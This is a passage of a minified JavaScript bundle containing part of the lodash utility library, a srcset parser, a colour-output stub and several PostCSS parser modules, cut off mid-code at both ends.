t)if(Mt.call(t,r))return!1;return!0},Gr.isEqual=function(t,e){return Fn(t,e)},Gr.isEqualWith=function(t,e,r){var n=(r=\"function\"==typeof r?r:i)?r(t,e):i;return n===i?Fn(t,e,i,r):!!n},Gr.isError=za,Gr.isFinite=function(t){return\"number\"==typeof t&&ve(t)},Gr.isFunction=Xa,Gr.isInteger=$a,Gr.isLength=ts,Gr.isMap=ns,Gr.isMatch=function(t,e){return t===e||Nn(t,e,po(e))},Gr.isMatchWith=function(t,e,r){return r=\"function\"==typeof r?r:i,Nn(t,e,po(e),r)},Gr.isNaN=function(t){return is(t)&&t!=+t},Gr.isNative=function(t){if(Co(t))throw new Ct(\"Unsupported core-js use. Try https://npms.io/search?q=ponyfill.\");return jn(t)},Gr.isNil=function(t){return null==t},Gr.isNull=function(t){return null===t},Gr.isNumber=is,Gr.isObject=es,Gr.isObjectLike=rs,Gr.isPlainObject=os,Gr.isRegExp=as,Gr.isSafeInteger=function(t){return $a(t)&&t>=-9007199254740991&&t<=f},Gr.isSet=ss,Gr.isString=ls,Gr.isSymbol=cs,Gr.isTypedArray=us,Gr.isUndefined=function(t){return t===i},Gr.isWeakMap=function(t){return rs(t)&&go(t)==F},Gr.isWeakSet=function(t){return rs(t)&&\"[object WeakSet]\"==kn(t)},Gr.join=function(t,e){return null==t?\"\":Ge.call(t,e)},Gr.kebabCase=Us,Gr.last=zo,Gr.lastIndexOf=function(t,e,r){var n=null==t?0:t.length;if(!n)return-1;var o=n;return r!==i&&(o=(o=hs(r))<0?br(n+o,0):yr(o,n-1)),e==e?function(t,e,r){for(var n=r+1;n--;)if(t[n]===e)return n;return n}(t,e,o):We(t,Ue,o,!0)},Gr.lowerCase=Ys,Gr.lowerFirst=Js,Gr.lt=ps,Gr.lte=ds,Gr.max=function(t){return t&&t.length?gn(t,il,En):i},Gr.maxBy=function(t,e){return t&&t.length?gn(t,co(e,2),En):i},Gr.mean=function(t){return Ye(t,il)},Gr.meanBy=function(t,e){return Ye(t,co(e,2))},Gr.min=function(t){return t&&t.length?gn(t,il,Qn):i},Gr.minBy=function(t,e){return t&&t.length?gn(t,co(e,2),Qn):i},Gr.stubArray=gl,Gr.stubFalse=Al,Gr.stubObject=function(){return{}},Gr.stubString=function(){return\"\"},Gr.stubTrue=function(){return!0},Gr.multiply=_l,Gr.nth=function(t,e){return t&&t.length?Hn(t,hs(e)):i},Gr.noConflict=function(){return he._===this&&(he._=Pt),this},Gr.noop=cl,Gr.now=Ea,Gr.pad=function(t,e,r){t=ys(t);var n=(e=hs(e))?mr(t):0;if(!e||n>=e)return t;var i=(e-n)/2;return Ui(ge(i),r)+t+Ui(fe(i),r)},Gr.padEnd=function(t,e,r){t=ys(t);var n=(e=hs(e))?mr(t):0;return e&&n<e?t+Ui(e-n,r):t},Gr.padStart=function(t,e,r){t=ys(t);var n=(e=hs(e))?mr(t):0;return e&&n<e?Ui(e-n,r)+t:t},Gr.parseInt=function(t,e,r){return r||null==e?e=0:e&&(e=+e),xr(ys(t).replace(at,\"\"),e||0)},Gr.random=function(t,e,r){if(r&&\"boolean\"!=typeof r&&xo(t,e,r)&&(e=r=i),r===i&&(\"boolean\"==typeof e?(r=e,e=i):\"boolean\"==typeof t&&(r=t,t=i)),t===i&&e===i?(t=0,e=1):(t=fs(t),e===i?(e=t,t=0):e=fs(e)),t>e){var n=t;t=e,e=n}if(r||t%1||e%1){var o=wr();return yr(t+o*(e-t+pe(\"1e-\"+((o+\"\").length-1))),e)}return qn(t,e)},Gr.reduce=function(t,e,r){var n=Ua(t)?Re:qe,i=arguments.length<3;return n(t,co(e,4),r,i,mn)},Gr.reduceRight=function(t,e,r){var n=Ua(t)?Le:qe,i=arguments.length<3;return n(t,co(e,4),r,i,fn)},Gr.repeat=function(t,e,r){return e=(r?xo(t,e,r):e===i)?1:hs(e),Vn(ys(t),e)},Gr.replace=function(){var t=arguments,e=ys(t[0]);return t.length<3?e:e.replace(t[1],t[2])},Gr.result=function(t,e,r){var n=-1,o=(e=vi(e,t)).length;for(o||(o=1,t=i);++n<o;){var a=null==t?i:t[Lo(e[n])];a===i&&(n=o,a=r),t=Xa(a)?a.call(t):a}return t},Gr.round=Cl,Gr.runInContext=t,Gr.sample=function(t){return(Ua(t)?zr:Xn)(t)},Gr.size=function(t){if(null==t)return 0;if(Ja(t))return ls(t)?mr(t):t.length;var e=go(t);return e==I||e==D?t.size:Rn(t).length},Gr.snakeCase=Zs,Gr.some=function(t,e,r){var n=Ua(t)?Qe:oi;return r&&xo(t,e,r)&&(e=i),n(t,co(e,3))},Gr.sortedIndex=function(t,e){return ai(t,e)},Gr.sortedIndexBy=function(t,e,r){return si(t,e,co(r,2))},Gr.sortedIndexOf=function(t,e){var r=null==t?0:t.length;if(r){var n=ai(t,e);if(n<r&&Pa(t[n],e))return n}return-1},Gr.sortedLastIndex=function(t,e){return ai(t,e,!0)},Gr.sortedLastIndexBy=function(t,e,r){return si(t,e,co(r,2),!0)},Gr.sortedLastIndexOf=function(t,e){if(null==t?0:t.length){var r=ai(t,e,!0)-1;if(Pa(t[r],e))return r}return-1},Gr.startCase=qs,Gr.startsWith=function(t,e,r){return t=ys(t),r=null==r?0:ln(hs(r),0,t.length),e=ui(e),t.slice(r,r+e.length)==e},Gr.subtract=Il,Gr.sum=function(t){return t&&t.length?Ve(t,il):0},Gr.sumBy=function(t,e){return t&&t.length?Ve(t,co(e,2)):0},Gr.template=function(t,e,r){var n=Gr.templateSettings;r&&xo(t,e,r)&&(e=i),t=ys(t),e=ws({},e,n,$i);var o,a,s=ws({},e.imports,n.imports,$i),l=Ts(s),c=tr(s,l),u=0,p=e.interpolate||wt,d=\"__p += '\",m=Bt((e.escape||wt).source+\"|\"+p.source+\"|\"+(p===tt?ft:wt).source+\"|\"+(e.evaluate||wt).source+\"|$\",\"g\"),f=\"//# sourceURL=\"+(Mt.call(e,\"sourceURL\")?(e.sourceURL+\"\").replace(/\\s/g,\" \"):\"lodash.templateSources[\"+ ++se+\"]\")+\"\\n\";t.replace(m,function(e,r,n,i,s,l){return n||(n=i),d+=t.slice(u,l).replace(_t,ar),r&&(o=!0,d+=\"' +\\n__e(\"+r+\") +\\n'\"),s&&(a=!0,d+=\"';\\n\"+s+\";\\n__p += '\"),n&&(d+=\"' +\\n((__t = (\"+n+\")) == null ? '' : __t) +\\n'\"),u=l+e.length,e}),d+=\"';\\n\";var h=Mt.call(e,\"variable\")&&e.variable;if(h){if(dt.test(h))throw new Ct(\"Invalid `variable` option passed into `_.template`\")}else d=\"with (obj) {\\n\"+d+\"\\n}\\n\";d=(a?d.replace(U,\"\"):d).replace(Y,\"$1\").replace(J,\"$1;\"),d=\"function(\"+(h||\"obj\")+\") {\\n\"+(h?\"\":\"obj || (obj = {});\\n\")+\"var __t, __p = ''\"+(o?\", __e = _.escape\":\"\")+(a?\", __j = Array.prototype.join;\\nfunction print() { __p += __j.call(arguments, '') }\\n\":\";\\n\")+d+\"return __p\\n}\";var g=$s(function(){return It(l,f+\"return \"+d).apply(i,c)});if(g.source=d,za(g))throw g;return g},Gr.times=function(t,e){if((t=hs(t))<1||t>f)return[];var r=g,n=yr(t,g);e=co(e),t-=g;for(var i=ze(n,e);++r<t;)e(r);return i},Gr.toFinite=fs,Gr.toInteger=hs,Gr.toLength=gs,Gr.toLower=function(t){return ys(t).toLowerCase()},Gr.toNumber=As,Gr.toSafeInteger=function(t){return t?ln(hs(t),-9007199254740991,f):0===t?t:0},Gr.toString=ys,Gr.toUpper=function(t){return ys(t).toUpperCase()},Gr.trim=function(t,e,r){if((t=ys(t))&&(r||e===i))return Xe(t);if(!t||!(e=ui(e)))return t;var n=fr(t),o=fr(e);return wi(n,rr(n,o),nr(n,o)+1).join(\"\")},Gr.trimEnd=function(t,e,r){if((t=ys(t))&&(r||e===i))return t.slice(0,hr(t)+1);if(!t||!(e=ui(e)))return t;var n=fr(t);return wi(n,0,nr(n,fr(e))+1).join(\"\")},Gr.trimStart=function(t,e,r){if((t=ys(t))&&(r||e===i))return t.replace(at,\"\");if(!t||!(e=ui(e)))return t;var n=fr(t);return wi(n,rr(n,fr(e))).join(\"\")},Gr.truncate=function(t,e){var r=30,n=\"...\";if(es(e)){var o=\"separator\"in e?e.separator:o;r=\"length\"in e?hs(e.length):r,n=\"omission\"in e?ui(e.omission):n}var a=(t=ys(t)).length;if(sr(t)){var s=fr(t);a=s.length}if(r>=a)return t;var l=r-mr(n);if(l<1)return n;var c=s?wi(s,0,l).join(\"\"):t.slice(0,l);if(o===i)return c+n;if(s&&(l+=c.length-l),as(o)){if(t.slice(l).search(o)){var u,p=c;for(o.global||(o=Bt(o.source,ys(ht.exec(o))+\"g\")),o.lastIndex=0;u=o.exec(p);)var d=u.index;c=c.slice(0,d===i?l:d)}}else if(t.indexOf(ui(o),l)!=l){var m=c.lastIndexOf(o);m>-1&&(c=c.slice(0,m))}return c+n},Gr.unescape=function(t){return(t=ys(t))&&V.test(t)?t.replace(Z,gr):t},Gr.uniqueId=function(t){var e=++Rt;return ys(t)+e},Gr.upperCase=Vs,Gr.upperFirst=zs,Gr.each=ya,Gr.eachRight=va,Gr.first=Jo,ll(Gr,(wl={},xn(Gr,function(t,e){Mt.call(Gr.prototype,e)||(wl[e]=t)}),wl),{chain:!1}),Gr.VERSION=\"4.17.23\",Se([\"bind\",\"bindKey\",\"curry\",\"curryRight\",\"partial\",\"partialRight\"],function(t){Gr[t].placeholder=Gr}),Se([\"drop\",\"take\"],function(t,e){Hr.prototype[t]=function(r){r=r===i?1:br(hs(r),0);var n=this.__filtered__&&!e?new Hr(this):this.clone();return n.__filtered__?n.__takeCount__=yr(r,n.__takeCount__):n.__views__.push({size:yr(r,g),type:t+(n.__dir__<0?\"Right\":\"\")}),n},Hr.prototype[t+\"Right\"]=function(e){return this.reverse()[t](e).reverse()}}),Se([\"filter\",\"map\",\"takeWhile\"],function(t,e){var r=e+1,n=1==r||3==r;Hr.prototype[t]=function(t){var e=this.clone();return e.__iteratees__.push({iteratee:co(t,3),type:r}),e.__filtered__=e.__filtered__||n,e}}),Se([\"head\",\"last\"],function(t,e){var r=\"take\"+(e?\"Right\":\"\");Hr.prototype[t]=function(){return this[r](1).value()[0]}}),Se([\"initial\",\"tail\"],function(t,e){var r=\"drop\"+(e?\"\":\"Right\");Hr.prototype[t]=function(){return this.__filtered__?new Hr(this):this[r](1)}}),Hr.prototype.compact=function(){return this.filter(il)},Hr.prototype.find=function(t){return this.filter(t).head()},Hr.prototype.findLast=function(t){return this.reverse().find(t)},Hr.prototype.invokeMap=zn(function(t,e){return\"function\"==typeof t?new Hr(this):this.map(function(r){return On(r,t,e)})}),Hr.prototype.reject=function(t){return this.filter(Ma(co(t)))},Hr.prototype.slice=function(t,e){t=hs(t);var r=this;return r.__filtered__&&(t>0||e<0)?new Hr(r):(t<0?r=r.takeRight(-t):t&&(r=r.drop(t)),e!==i&&(r=(e=hs(e))<0?r.dropRight(-e):r.take(e-t)),r)},Hr.prototype.takeRightWhile=function(t){return this.reverse().takeWhile(t).reverse()},Hr.prototype.toArray=function(){return this.take(g)},xn(Hr.prototype,function(t,e){var r=/^(?:filter|find|map|reject)|While$/.test(e),n=/^(?:head|last)$/.test(e),o=Gr[n?\"take\"+(\"last\"==e?\"Right\":\"\"):e],a=n||/^find/.test(e);o&&(Gr.prototype[e]=function(){var e=this.__wrapped__,s=n?[1]:arguments,l=e instanceof Hr,c=s[0],u=l||Ua(e),p=function(t){var e=o.apply(Gr,Me([t],s));return n&&d?e[0]:e};u&&r&&\"function\"==typeof c&&1!=c.length&&(l=u=!1);var d=this.__chain__,m=!!this.__actions__.length,f=a&&!d,h=l&&!m;if(!a&&u){e=h?e:new Hr(this);var g=t.apply(e,s);return g.__actions__.push({func:fa,args:[p],thisArg:i}),new Kr(g,d)}return f&&h?t.apply(this,s):(g=this.thru(p),f?n?g.value()[0]:g.value():g)})}),Se([\"pop\",\"push\",\"shift\",\"sort\",\"splice\",\"unshift\"],function(t){var e=Ot[t],r=/^(?:push|sort|unshift)$/.test(t)?\"tap\":\"thru\",n=/^(?:pop|shift)$/.test(t);Gr.prototype[t]=function(){var t=arguments;if(n&&!this.__chain__){var i=this.value();return e.apply(Ua(i)?i:[],t)}return this[r](function(r){return e.apply(Ua(r)?r:[],t)})}}),xn(Hr.prototype,function(t,e){var r=Gr[e];if(r){var n=r.name+\"\";Mt.call(Or,n)||(Or[n]=[]),Or[n].push({name:e,func:r})}}),Or[Pi(i,2).name]=[{name:\"wrapper\",func:i}],Hr.prototype.clone=function(){var t=new Hr(this.__wrapped__);return t.__actions__=Di(this.__actions__),t.__dir__=this.__dir__,t.__filtered__=this.__filtered__,t.__iteratees__=Di(this.__iteratees__),t.__takeCount__=this.__takeCount__,t.__views__=Di(this.__views__),t},Hr.prototype.reverse=function(){if(this.__filtered__){var t=new Hr(this);t.__dir__=-1,t.__filtered__=!0}else(t=this.clone()).__dir__*=-1;return t},Hr.prototype.value=function(){var t=this.__wrapped__.value(),e=this.__dir__,r=Ua(t),n=e<0,i=r?t.length:0,o=function(t,e,r){var n=-1,i=r.length;for(;++n<i;){var o=r[n],a=o.size;switch(o.type){case\"drop\":t+=a;break;case\"dropRight\":e-=a;break;case\"take\":e=yr(e,t+a);break;case\"takeRight\":t=br(t,e-a)}}return{start:t,end:e}}(0,i,this.__views__),a=o.start,s=o.end,l=s-a,c=n?s:a-1,u=this.__iteratees__,p=u.length,d=0,m=yr(l,this.__takeCount__);if(!r||!n&&i==l&&m==l)return hi(t,this.__actions__);var f=[];t:for(;l--&&d<m;){for(var h=-1,g=t[c+=e];++h<p;){var A=u[h],b=A.iteratee,y=A.type,v=b(g);if(2==y)g=v;else if(!v){if(1==y)continue t;break t}}f[d++]=g}return f},Gr.prototype.at=ha,Gr.prototype.chain=function(){return ma(this)},Gr.prototype.commit=function(){return new Kr(this.value(),this.__chain__)},Gr.prototype.next=function(){this.__values__===i&&(this.__values__=ms(this.value()));var t=this.__index__>=this.__values__.length;return{done:t,value:t?i:this.__values__[this.__index__++]}},Gr.prototype.plant=function(t){for(var e,r=this;r instanceof Wr;){var n=Go(r);n.__index__=0,n.__values__=i,e?o.__wrapped__=n:e=n;var o=n;r=r.__wrapped__}return o.__wrapped__=t,e},Gr.prototype.reverse=function(){var t=this.__wrapped__;if(t instanceof Hr){var e=t;return this.__actions__.length&&(e=new Hr(this)),(e=e.reverse()).__actions__.push({func:fa,args:[ea],thisArg:i}),new Kr(e,this.__chain__)}return this.thru(ea)},Gr.prototype.toJSON=Gr.prototype.valueOf=Gr.prototype.value=function(){return hi(this.__wrapped__,this.__actions__)},Gr.prototype.first=Gr.prototype.head,Xt&&(Gr.prototype[Xt]=function(){return this}),Gr}();he._=Ar,(n=function(){return Ar}.call(e,r,e,t))===i||(t.exports=n)}.call(this)},9466(t,e){var r,n,i;n=[],void 0===(i=\"function\"==typeof(r=function(){return function(t){function e(t){return\" \"===t||\"\\t\"===t||\"\\n\"===t||\"\\f\"===t||\"\\r\"===t}function r(e){var r,n=e.exec(t.substring(h));if(n)return r=n[0],h+=r.length,r}for(var n,i,o,a,s,l=t.length,c=/^[ \\t\\n\\r\\u000c]+/,u=/^[, \\t\\n\\r\\u000c]+/,p=/^[^ \\t\\n\\r\\u000c]+/,d=/[,]+$/,m=/^\\d+$/,f=/^-?(?:[0-9]+|[0-9]*\\.[0-9]+)(?:[eE][+-]?[0-9]+)?$/,h=0,g=[];;){if(r(u),h>=l)return g;n=r(p),i=[],\",\"===n.slice(-1)?(n=n.replace(d,\"\"),b()):A()}function A(){for(r(c),o=\"\",a=\"in descriptor\";;){if(s=t.charAt(h),\"in descriptor\"===a)if(e(s))o&&(i.push(o),o=\"\",a=\"after descriptor\");else{if(\",\"===s)return h+=1,o&&i.push(o),void b();if(\"(\"===s)o+=s,a=\"in parens\";else{if(\"\"===s)return o&&i.push(o),void b();o+=s}}else if(\"in parens\"===a)if(\")\"===s)o+=s,a=\"in descriptor\";else{if(\"\"===s)return i.push(o),void b();o+=s}else if(\"after descriptor\"===a)if(e(s));else{if(\"\"===s)return void b();a=\"in descriptor\",h-=1}h+=1}}function b(){var e,r,o,a,s,l,c,u,p,d=!1,h={};for(a=0;a<i.length;a++)l=(s=i[a])[s.length-1],c=s.substring(0,s.length-1),u=parseInt(c,10),p=parseFloat(c),m.test(c)&&\"w\"===l?((e||r)&&(d=!0),0===u?d=!0:e=u):f.test(c)&&\"x\"===l?((e||r||o)&&(d=!0),p<0?d=!0:r=p):m.test(c)&&\"h\"===l?((o||r)&&(d=!0),0===u?d=!0:o=u):d=!0;d?console&&console.log&&console.log(\"Invalid srcset descriptor found in '\"+t+\"' at '\"+s+\"'.\"):(h.url=n,e&&(h.w=e),r&&(h.d=r),o&&(h.h=o),g.push(h))}}})?r.apply(e,n):r)||(t.exports=i)},8633(t){var e=String,r=function(){return{isColorSupported:!1,reset:e,bold:e,dim:e,italic:e,underline:e,inverse:e,hidden:e,strikethrough:e,black:e,red:e,green:e,yellow:e,blue:e,magenta:e,cyan:e,white:e,gray:e,bgBlack:e,bgRed:e,bgGreen:e,bgYellow:e,bgBlue:e,bgMagenta:e,bgCyan:e,bgWhite:e,blackBright:e,redBright:e,greenBright:e,yellowBright:e,blueBright:e,magentaBright:e,cyanBright:e,whiteBright:e,bgBlackBright:e,bgRedBright:e,bgGreenBright:e,bgYellowBright:e,bgBlueBright:e,bgMagentaBright:e,bgCyanBright:e,bgWhiteBright:e}};t.exports=r(),t.exports.createColors=r},396(t,e,r){\"use strict\";let n=r(7793);class i extends n{constructor(t){super(t),this.type=\"atrule\"}append(...t){return this.proxyOf.nodes||(this.nodes=[]),super.append(...t)}prepend(...t){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...t)}}t.exports=i,i.default=i,n.registerAtRule(i)},9371(t,e,r){\"use strict\";let n=r(3152);class i extends n{constructor(t){super(t),this.type=\"comment\"}}t.exports=i,i.default=i},7793(t,e,r){\"use strict\";let n,i,o,a,s=r(9371),l=r(5238),c=r(3152),{isClean:u,my:p}=r(4151);function d(t){return t.map(t=>(t.nodes&&(t.nodes=d(t.nodes)),delete t.source,t))}function m(t){if(t[u]=!1,t.proxyOf.nodes)for(let e of t.proxyOf.nodes)m(e)}class f extends c{get first(){if(this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}append(...t){for(let e of t){let t=this.normalize(e,this.last);for(let e of t)this.proxyOf.nodes.push(e)}return this.markDirty(),this}cleanRaws(t){if(super.cleanRaws(t),this.nodes)for(let e of this.nodes)e.cleanRaws(t)}each(t){if(!this.proxyOf.nodes)return;let e,r,n=this.getIterator();for(;this.indexes[n]<this.proxyOf.nodes.length&&(e=this.indexes[n],r=t(this.proxyOf.nodes[e],e),!1!==r);)this.indexes[n]+=1;return delete this.indexes[n],r}every(t){return this.nodes.every(t)}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let t=this.lastEach;return this.indexes[t]=0,t}getProxyProcessor(){return{get:(t,e)=>\"proxyOf\"===e?t:t[e]?\"each\"===e||\"string\"==typeof e&&e.startsWith(\"walk\")?(...r)=>t[e](...r.map(t=>\"function\"==typeof t?(e,r)=>t(e.toProxy(),r):t)):\"every\"===e||\"some\"===e?r=>t[e]((t,...e)=>r(t.toProxy(),...e)):\"root\"===e?()=>t.root().toProxy():\"nodes\"===e?t.nodes.map(t=>t.toProxy()):\"first\"===e||\"last\"===e?t[e].toProxy():t[e]:t[e],set:(t,e,r)=>(t[e]===r||(t[e]=r,\"name\"!==e&&\"params\"!==e&&\"selector\"!==e||t.markDirty()),!0)}}index(t){return\"number\"==typeof t?t:(t.proxyOf&&(t=t.proxyOf),this.proxyOf.nodes.indexOf(t))}insertAfter(t,e){let r,n=this.index(t),i=this.normalize(e,this.proxyOf.nodes[n]).reverse();n=this.index(t);for(let t of i)this.proxyOf.nodes.splice(n+1,0,t);for(let t in this.indexes)r=this.indexes[t],n<r&&(this.indexes[t]=r+i.length);return this.markDirty(),this}insertBefore(t,e){let r,n=this.index(t),i=0===n&&\"prepend\",o=this.normalize(e,this.proxyOf.nodes[n],i).reverse();n=this.index(t);for(let t of o)this.proxyOf.nodes.splice(n,0,t);for(let t in this.indexes)r=this.indexes[t],n<=r&&(this.indexes[t]=r+o.length);return this.markDirty(),this}normalize(t,e){if(\"string\"==typeof t)t=d(i(t).nodes);else if(void 0===t)t=[];else if(Array.isArray(t)){t=t.slice(0);for(let e of t)e.parent&&e.parent.removeChild(e,\"ignore\")}else if(\"root\"===t.type&&\"document\"!==this.type){t=t.nodes.slice(0);for(let e of t)e.parent&&e.parent.removeChild(e,\"ignore\")}else if(t.type)t=[t];else if(t.prop){if(void 0===t.value)throw new Error(\"Value field is missed in node creation\");\"string\"!=typeof t.value&&(t.value=String(t.value)),t=[new l(t)]}else if(t.selector||t.selectors)t=[new a(t)];else if(t.name)t=[new n(t)];else{if(!t.text)throw new Error(\"Unknown node type in node creation\");t=[new s(t)]}return t.map(t=>(t[p]||f.rebuild(t),(t=t.proxyOf).parent&&t.parent.removeChild(t),t[u]&&m(t),t.raws||(t.raws={}),void 0===t.raws.before&&e&&void 0!==e.raws.before&&(t.raws.before=e.raws.before.replace(/\\S/g,\"\")),t.parent=this.proxyOf,t))}prepend(...t){t=t.reverse();for(let e of t){let t=this.normalize(e,this.first,\"prepend\").reverse();for(let e of t)this.proxyOf.nodes.unshift(e);for(let e in this.indexes)this.indexes[e]=this.indexes[e]+t.length}return this.markDirty(),this}push(t){return t.parent=this,this.proxyOf.nodes.push(t),this}removeAll(){for(let t of this.proxyOf.nodes)t.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}removeChild(t){let e;t=this.index(t),this.proxyOf.nodes[t].parent=void 0,this.proxyOf.nodes.splice(t,1);for(let r in this.indexes)e=this.indexes[r],e>=t&&(this.indexes[r]=e-1);return this.markDirty(),this}replaceValues(t,e,r){return r||(r=e,e={}),this.walkDecls(n=>{e.props&&!e.props.includes(n.prop)||e.fast&&!n.value.includes(e.fast)||(n.value=n.value.replace(t,r))}),this.markDirty(),this}some(t){return this.nodes.some(t)}walk(t){return this.each((e,r)=>{let n;try{n=t(e,r)}catch(t){throw e.addToError(t)}return!1!==n&&e.walk&&(n=e.walk(t)),n})}walkAtRules(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"atrule\"===r.type&&t.test(r.name))return e(r,n)}):this.walk((r,n)=>{if(\"atrule\"===r.type&&r.name===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"atrule\"===t.type)return e(t,r)}))}walkComments(t){return this.walk((e,r)=>{if(\"comment\"===e.type)return t(e,r)})}walkDecls(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"decl\"===r.type&&t.test(r.prop))return e(r,n)}):this.walk((r,n)=>{if(\"decl\"===r.type&&r.prop===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"decl\"===t.type)return e(t,r)}))}walkRules(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"rule\"===r.type&&t.test(r.selector))return e(r,n)}):this.walk((r,n)=>{if(\"rule\"===r.type&&r.selector===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"rule\"===t.type)return e(t,r)}))}}f.registerParse=t=>{i=t},f.registerRule=t=>{a=t},f.registerAtRule=t=>{n=t},f.registerRoot=t=>{o=t},t.exports=f,f.default=f,f.rebuild=t=>{\"atrule\"===t.type?Object.setPrototypeOf(t,n.prototype):\"rule\"===t.type?Object.setPrototypeOf(t,a.prototype):\"decl\"===t.type?Object.setPrototypeOf(t,l.prototype):\"comment\"===t.type?Object.setPrototypeOf(t,s.prototype):\"root\"===t.type&&Object.setPrototypeOf(t,o.prototype),t[p]=!0,t.nodes&&t.nodes.forEach(t=>{f.rebuild(t)})}},3614(t,e,r){\"use strict\";let n=r(8633),i=r(9746);class o extends Error{constructor(t,e,r,n,i,a){super(t),this.name=\"CssSyntaxError\",this.reason=t,i&&(this.file=i),n&&(this.source=n),a&&(this.plugin=a),void 0!==e&&void 0!==r&&(\"number\"==typeof e?(this.line=e,this.column=r):(this.line=e.line,this.column=e.column,this.endLine=r.line,this.endColumn=r.column)),this.setMessage(),Error.captureStackTrace&&Error.captureStackTrace(this,o)}setMessage(){this.message=this.plugin?this.plugin+\": \":\"\",this.message+=this.file?this.file:\"<css input>\",void 0!==this.line&&(this.message+=\":\"+this.line+\":\"+this.column),this.message+=\": \"+this.reason}showSourceCode(t){if(!this.source)return\"\";let e=this.source;null==t&&(t=n.isColorSupported);let r=t=>t,o=t=>t,a=t=>t;if(t){let{bold:t,gray:e,red:s}=n.createColors(!0);o=e=>t(s(e)),r=t=>e(t),i&&(a=t=>i(t))}let s=e.split(/\\r?\\n/),l=Math.max(this.line-3,0),c=Math.min(this.line+2,s.length),u=String(c).length;return s.slice(l,c).map((t,e)=>{let n=l+1+e,i=\" \"+(\" \"+n).slice(-u)+\" | \";if(n===this.line){if(t.length>160){let e=20,n=Math.max(0,this.column-e),s=Math.max(this.column+e,this.endColumn+e),l=t.slice(n,s),c=r(i.replace(/\\d/g,\" \"))+t.slice(0,Math.min(this.column-1,e-1)).replace(/[^\\t]/g,\" \");return o(\">\")+r(i)+a(l)+\"\\n \"+c+o(\"^\")}let e=r(i.replace(/\\d/g,\" \"))+t.slice(0,this.column-1).replace(/[^\\t]/g,\" \");return o(\">\")+r(i)+a(t)+\"\\n \"+e+o(\"^\")}return\" \"+r(i)+a(t)}).join(\"\\n\")}toString(){let t=this.showSourceCode();return t&&(t=\"\\n\\n\"+t+\"\\n\"),this.name+\": \"+this.message+t}}t.exports=o,o.default=o},5238(t,e,r){\"use strict\";let n=r(3152);class i extends n{get variable(){return this.prop.startsWith(\"--\")||\"$\"===this.prop[0]}constructor(t){t&&void 0!==t.value&&\"string\"!=typeof t.value&&(t={...t,value:String(t.value)}),super(t),this.type=\"decl\"}}t.exports=i,i.default=i},145(t,e,r){\"use strict\";let n,i,o=r(7793);class a extends o{constructor(t){super({type:\"document\",...t}),this.nodes||(this.nodes=[])}toResult(t={}){return new n(new i,this,t).stringify()}}a.registerLazyResult=t=>{n=t},a.registerProcessor=t=>{i=t},t.exports=a,a.default=a},3438(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(5238),a=r(1106),s=r(3878),l=r(5644),c=r(1534);function u(t,e){if(Array.isArray(t))return t.map(t=>u(t));let{inputs:r,...p}=t;if(r){e=[];for(let t of r){let r={...t,__proto__:a.prototype};r.map&&(r.map={...r.map,__proto__:s.prototype}),e.push(r)}}if(p.nodes&&(p.nodes=t.nodes.map(t=>u(t,e))),p.source){let{inputId:t,...r}=p.source;p.source=r,null!=t&&(p.source.input=e[t])}if(\"root\"===p.type)return new l(p);if(\"decl\"===p.type)return new o(p);if(\"rule\"===p.type)return new c(p);if(\"comment\"===p.type)return new i(p);if(\"atrule\"===p.type)return new n(p);throw new Error(\"Unknown node type: \"+t.type)}t.exports=u,u.default=u},1106(t,e,r){\"use strict\";let{nanoid:n}=r(5042),{isAbsolute:i,resolve:o}=r(197),{SourceMapConsumer:a,SourceMapGenerator:s}=r(1866),{fileURLToPath:l,pathToFileURL:c}=r(2739),u=r(3614),p=r(3878),d=r(9746),m=Symbol(\"lineToIndexCache\"),f=Boolean(a&&s),h=Boolean(o&&i);function g(t){if(t[m])return t[m];let e=t.css.split(\"\\n\"),r=new Array(e.length),n=0;for(let t=0,i=e.length;t<i;t++)r[t]=n,n+=e[t].length+1;return t[m]=r,r}class A{get from(){return this.file||this.id}constructor(t,e={}){if(null==t||\"object\"==typeof t&&!t.toString)throw new Error(`PostCSS received ${t} instead of CSS string`);if(this.css=t.toString(),\"\\ufeff\"===this.css[0]||\"￾\"===this.css[0]?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,this.document=this.css,e.document&&(this.document=e.document.toString()),e.from&&(!h||/^\\w+:\\/\\//.test(e.from)||i(e.from)?this.file=e.from:this.file=o(e.from)),h&&f){let t=new p(this.css,e);if(t.text){this.map=t;let e=t.consumer().file;!this.file&&e&&(this.file=this.mapResolve(e))}}this.file||(this.id=\"<input css \"+n(6)+\">\"),this.map&&(this.map.file=this.from)}error(t,e,r,n={}){let i,o,a,s,l;if(e&&\"object\"==typeof e){let t=e,n=r;if(\"number\"==typeof t.offset){s=t.offset;let n=this.fromOffset(s);e=n.line,r=n.col}else e=t.line,r=t.column,s=this.fromLineAndColumn(e,r);if(\"number\"==typeof n.offset){a=n.offset;let t=this.fromOffset(a);o=t.line,i=t.col}else o=n.line,i=n.column,a=this.fromLineAndColumn(n.line,n.column)}else if(r)s=this.fromLineAndColumn(e,r);else{s=e;let t=this.fromOffset(s);e=t.line,r=t.col}let p=this.origin(e,r,o,i);return l=p?new u(t,void 0===p.endLine?p.line:{column:p.column,line:p.line},void 0===p.endLine?p.column:{column:p.endColumn,line:p.endLine},p.source,p.file,n.plugin):new u(t,void 0===o?e:{column:r,line:e},void 0===o?r:{column:i,line:o},this.css,this.file,n.plugin),l.input={column:r,endColumn:i,endLine:o,endOffset:a,line:e,offset:s,source:this.css},this.file&&(c&&(l.input.url=c(this.file).toString()),l.input.file=this.file),l}fromLineAndColumn(t,e){return g(this)[t-1]+e-1}fromOffset(t){let e=g(this),r=0;if(t>=e[e.length-1])r=e.length-1;else{let 